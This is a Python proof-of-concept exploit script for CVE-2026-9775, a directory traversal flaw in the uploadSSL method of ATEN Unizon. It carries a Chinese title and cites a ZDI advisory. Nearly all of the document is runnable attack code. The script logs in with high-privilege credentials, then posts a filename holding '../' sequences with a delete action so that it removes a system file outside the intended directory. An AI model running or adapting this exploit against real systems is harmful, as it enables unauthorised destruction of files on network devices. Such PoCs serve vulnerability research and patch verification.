CVE-2026-9775 ATEN Unizon uploadSSL目录遍历任意文件删除漏洞

# CVE-2026-9775 - ATEN Unizon uploadSSL Directory Traversal PoC # Vulnerability: Arbitrary File Deletion via Path Traversal in uploadSSL method # Original advisory: ZDI-CAN-28503 / ZDI-26-379 import requests TARGET_HOST = "https://target-aten-unizon.example.com" AUTH_ENDPOINT = f"{TARGET_HOST}/api/login" UPLOAD_SSL_ENDPOINT = f"{TARGET_HOST}/api/uploadSSL" USERNAME = "attacker_user" PASSWORD = "attacker_password" def authenticate(session, username, password): """Authenticate to ATEN Unizon with high-privilege credentials.""" login_payload = { "username": username, "password": password } resp = session.post(AUTH_ENDPOINT, json=login_payload, verify=False) if resp.status_code == 200 and "token" in resp.json(): session.headers.update({"Authorization": f"Bearer {resp.json()['token']}"}) print("[+] Authentication successful") return True print("[-] Authentication failed") return False def exploit_delete_file(session, traversal_path): """ Exploit directory traversal in uploadSSL to delete arbitrary files. The traversal_path should contain '../' sequences to escape the intended directory. """ payload = { "filename": traversal_path, "action": "delete" } resp = session.post(UPLOAD_SSL_ENDPOINT, json=payload, verify=False) if resp.status_code == 200: print(f"[+] File deletion request sent for: {traversal_path}") return True print(f"[-] Request failed with status: {resp.status_code}") return False if __name__ == "__main__": session = requests.Session() if authenticate(session, USERNAME, PASSWORD): # Example: delete a critical system file via directory traversal target_file = "../../../../etc/critical_config_file" exploit_delete_file(session, target_file)